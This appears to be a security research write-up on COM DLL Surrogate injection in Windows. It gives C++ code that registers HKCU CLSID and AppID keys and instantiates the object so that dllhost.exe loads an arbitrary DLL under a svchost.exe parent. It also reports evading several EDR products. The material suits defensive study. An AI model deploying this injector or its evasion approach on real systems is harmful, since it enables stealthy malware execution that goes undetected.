This paper analyzes a sophisticated injection technique that leverages the Component Object Model (COM) and DLL Surrogate processes for stealthy code execution. Unlike traditional COM hijacking methods focused primarily on persistence, this technique exploits the surrogate hosting capabilities to achieve process injection with several operational advantages, including parent process masquerading and reduced detection footprint.
Component Object Model (COM) hijacking has been extensively documented as a persistence mechanism in the MITRE ATT&CK framework. This paper examines the technical mechanics of COM-based DLL Surrogate injection.
The Component Object Model (COM) is a Microsoft technology that enables software components to communicate regardless of the programming language used to create them. COM objects are identified by globally unique identifiers (GUIDs) called Class Identifiers (CLSIDs) and can be instantiated through various mechanisms including:
- In-process servers (DLLs loaded into the calling process)
- Out-of-process servers (Separate executable processes)
- Surrogate processes (System-provided hosts for DLL-based COM objects)
dllhost.exe
is a legitimate Windows system process that serves as a surrogate host for COM objects implemented as DLLs. This mechanism, known as “DLL Surrogate,” allows DLL-based COM objects to run in a separate process space, providing:
- Process isolation: Protects the calling application from DLL crashes
- Security boundaries: Enables different security contexts
- Stability: Prevents unstable DLLs from affecting the parent process
The surrogate is configured through registry entries, specifically the DllSurrogate
value under the AppID registry key.
The technique operates by creating specific registry entries in HKEY_CURRENT_USER
rather than HKEY_LOCAL_MACHINE
, which provides several advantages:
- Reduced privileges required: No administrator rights needed
- User-specific targeting: Affects only the current user context
- Stealth: Less likely to be monitored compared to HKLM modifications
HKCU\Software\Classes\AppID\{CLSID}
├── (Default) = "MyStealthObject"
└── DllSurrogate = ""
HKCU\Software\Classes\CLSID\{CLSID}
├── (Default) = "MyStealthObject"
├── AppID = "{CLSID}"
└── InprocServer32\
├── (Default) = "C:\Path\To\Malicious.dll"
└── ThreadingModel = "Apartment"
When the malicious COM object is instantiated with CLSCTX_LOCAL_SERVER
, Windows automatically launches dllhost.exe
as a surrogate process. This creates a deceptive process tree:
svchost.exe (COM+ System Application)
└── dllhost.exe /Processid:{CLSID}
└── [Malicious DLL loaded in-process]
Key Advantages:
- The parent process appears as
svchost.exe
, a highly trusted system process - The initiating malicious process is not the direct parent of the injection target
- Standard parent-child process monitoring may miss the true attack chain
static const wchar_t* CLSID_STR = L"{F00DBABA-2504-2025-2016-666699996666}";
The technique begins with a custom CLSID (Class Identifier), a 128-bit GUID that uniquely identifies the COM object. This particular CLSID is crafted to appear distinctive while avoiding conflicts with legitimate system components. The format follows the standard GUID structure: {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
.
bool SetRegStr(HKEY root, const std::wstring& key,
const std::wstring& name, const std::wstring& val) {
HKEY h;
if (RegCreateKeyExW(root, key.c_str(), 0, nullptr,
REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &h, nullptr) != ERROR_SUCCESS)
return false;
if (RegSetValueExW(h,
name.empty() ? nullptr : name.c_str(),
0, REG_SZ,
(const BYTE*)val.c_str(),
DWORD((val.size() + 1) * sizeof(wchar_t))) != ERROR_SUCCESS)
{
RegCloseKey(h);
return false;
}
RegCloseKey(h);
return true;
}
Technical Breakdown:
RegCreateKeyExW
: Creates or opens the specified registry key withKEY_WRITE
permissions- Error Handling: Each registry operation includes proper error checking
REG_OPTION_NON_VOLATILE
: Ensures the key persists across reboots -> Could be changed withREG_OPTION_VOLATILE
(Stored in memory and is not preserved when the corresponding registry hive is unloaded)
std::wstring appidKey = LR"(Software\Classes\AppID\)" + std::wstring(CLSID_STR);
if (!SetRegStr(HKEY_CURRENT_USER, appidKey, L"", L"MyStealthObject") ||
!SetRegStr(HKEY_CURRENT_USER, appidKey, L"DllSurrogate", L""))
Critical Analysis:
- AppID Key Structure:
HKCU\Software\Classes\AppID\{CLSID}
- Default Value: “MyStealthObject” serves as a descriptive name
DllSurrogate
= “”: Empty string is crucial - signals Windows to use the defaultdllhost.exe
as surrogate- HKCU vs HKLM: User hive requires no elevation, reduces detection surface
std::wstring clsidKey = LR"(Software\Classes\CLSID\)" + std::wstring(CLSID_STR);
std::wstring inprocKey = clsidKey + LR"(\InprocServer32)";
if (!SetRegStr(HKEY_CURRENT_USER, clsidKey, L"", L"MyStealthObject") ||
!SetRegStr(HKEY_CURRENT_USER, clsidKey, L"AppID", CLSID_STR) ||
!SetRegStr(HKEY_CURRENT_USER, inprocKey, L"", L"C:\\Users\\sample.dll") ||
!SetRegStr(HKEY_CURRENT_USER, inprocKey, L"ThreadingModel", L"Apartment"))
Registry Structure Explanation:
- CLSID Root:
HKCU\Software\Classes\CLSID\{CLSID}
- Links the object to its AppID
- Establishes object identity
- InprocServer32 Subkey: Critical for DLL specification
- Default Value: Points to malicious DLL path
- ThreadingModel: “Apartment” ensures proper COM threading behavior
- Path Selection: Targets user-writable locations to avoid privilege escalation
HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
if (FAILED(hr)) {
std::wcerr << L"[!] CoInitializeEx: 0x" << std::hex << hr << L"\n";
return 1;
}
CLSID clsid;
hr = CLSIDFromString(const_cast<LPWSTR>(CLSID_STR), &clsid);
if (FAILED(hr)) {
std::wcerr << L"[!] Invalid CLSID\n";
return 1;
}
Technical Details:
CoInitializeEx
: Initializes COM library for current threadCOINIT_APARTMENTTHREADED
: Single-threaded apartment modelCLSIDFromString
: Converts string representation to binary CLSID structure- Error Handling: HRESULT checking follows COM best practices
IUnknown* p;
hr = CoCreateInstance(clsid, nullptr,
CLSCTX_LOCAL_SERVER, // Key parameter!
IID_IUnknown,
(void**)&p);
The CLSCTX_LOCAL_SERVER
Significance:
- Process Boundary: Forces out-of-process instantiation
- Surrogate Trigger: Windows automatically launches
dllhost.exe
- Parent Process Masquerading: Creates
svchost.exe
→dllhost.exe
chain
Execution Sequence:
- Registry entries created in HKCU
- COM system initialized
CoCreateInstance
called withCLSCTX_LOCAL_SERVER
- Windows COM Service Control Manager (SCM) processes the request
- SCM detects
DllSurrogate
value and launchesdllhost.exe
dllhost.exe
loads the specified DLL fromInprocServer32
- Malicious code executes within the surrogate process context
Result: The malicious DLL runs in dllhost.exe
with svchost.exe
as apparent parent, obscuring the true attack vector.
Bypass – dllhost.exe activity was observed, but no alert was raised.
ezgif-2a058b3903d9cd.mp4
Bypass – Cortex also failed to detect the surrogate execution.
ezgif-238bcd8b68f88f.mp4
Bypass – likewise, no detection by SentinelOne.
ezgif-28c3f9ab314c16.mp4
COM-based DLL Surrogate injection represents an evolution of traditional COM hijacking techniques, offering adversaries enhanced stealth capabilities through process tree masquerading. The technique’s reliance on legitimate Windows functionality makes detection challenging but not impossible with proper monitoring and forensic awareness. This technique highlights the importance of understanding legitimate Windows mechanisms that can be subverted for malicious purposes.
[1] https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal
[2] https://learn.microsoft.com/de-de/windows/win32/com/dllsurrogate
[3] https://attack.mitre.org/techniques/T1546/015/
[4] https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance
[5] https://learn.microsoft.com/en-us/windows/win32/cossdk/com--threading-models